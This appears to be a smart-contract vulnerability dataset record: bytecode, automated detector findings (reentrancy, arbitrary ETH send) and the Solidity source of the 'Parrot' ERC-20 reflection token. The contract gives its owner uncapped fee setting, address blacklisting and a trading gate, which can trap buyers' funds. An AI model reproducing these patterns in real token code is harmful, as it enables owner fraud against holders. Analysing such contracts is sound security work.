ffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b607842611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b600c6009819055506005600881905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d7bdde934c1c2a43ed8ebcb9582b1e5ec1b77ddfcf0ac93e3cd7526431af67c464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,042
0x2611842b8ba099485c941f1b1f04af7967189897
/** *Submitted for verification at Etherscan.io on 2022-04-19 */ /* t.me/parroteth */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Parrot is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Parrot"; string private constant _symbol = "PARROT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 7; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 7; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _opAddress = payable(0x451e45270B3beD917Bf8520144936AC0bDe6612E); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2000000000000 * 10**9; //1 uint256 public _maxWalletSize = 4000000000000 * 10**9; //2 uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; // Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_opAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _opAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _opAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _opAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610626578063c3c8cd8014610663578063dd62ed3e1461067a578063ea1644d5146106b7576101cc565b806398a5c3151461055a578063a2a957bb14610583578063a9059cbb146105ac578063bdd795ef146105e9576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b80632fd689e3116101645780636b9990531161013e5780636b9990531461039f5780636d8aa8f8146103c85780636fc3eaec146103f157806370a0823114610408576101cc565b80632fd689e31461031e578063313ce5671461034957806349bd5a5e14610374576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632f9c4569146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612b88565b6106e0565b005b34801561020657600080fd5b5061020f610830565b60405161021c9190612fd1565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612b4c565b61086d565b6040516102599190612f9b565b60405180910390f35b34801561026e57600080fd5b5061027761088b565b6040516102849190612fb6565b60405180910390f35b34801561029957600080fd5b506102a26108b1565b6040516102af91906131b3565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612ac1565b6108c3565b6040516102ec9190612f9b565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190612b10565b61099c565b005b34801561032a57600080fd5b50610333610b1f565b60405161034091906131b3565b60405180910390f35b34801561035557600080fd5b5061035e610b25565b60405161036b9190613228565b60405180910390f35b34801561038057600080fd5b50610389610b2e565b6040516103969190612f80565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612a33565b610b54565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612bc9565b610c44565b005b3480156103fd57600080fd5b50610406610cf6565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612a33565b610d68565b60405161043c91906131b3565b60405180910390f35b34801561045157600080fd5b5061045a610db9565b005b34801561046857600080fd5b50610483600480360381019061047e9190612bf2565b610f0c565b005b34801561049157600080fd5b5061049a610fab565b6040516104a791906131b3565b60405180910390f35b3480156104bc57600080fd5b506104c5610fb1565b6040516104d29190612f80565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612bc9565b610fda565b005b34801561051057600080fd5b5061051961108c565b60405161052691906131b3565b60405180910390f35b34801561053b57600080fd5b50610544611092565b6040516105519190612fd1565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612bf2565b6110cf565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612c1b565b61116e565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190612b4c565b611225565b6040516105e09190612f9b565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b9190612a33565b611243565b60405161061d9190612f9b565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190612a33565b611263565b60405161065a9190612f9b565b60405180910390f35b34801561066f57600080fd5b50610678611283565b005b34801561068657600080fd5b506106a1600480360381019061069c9190612a85565b6112fd565b6040516106ae91906131b3565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190612bf2565b611384565b005b6106e8611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffff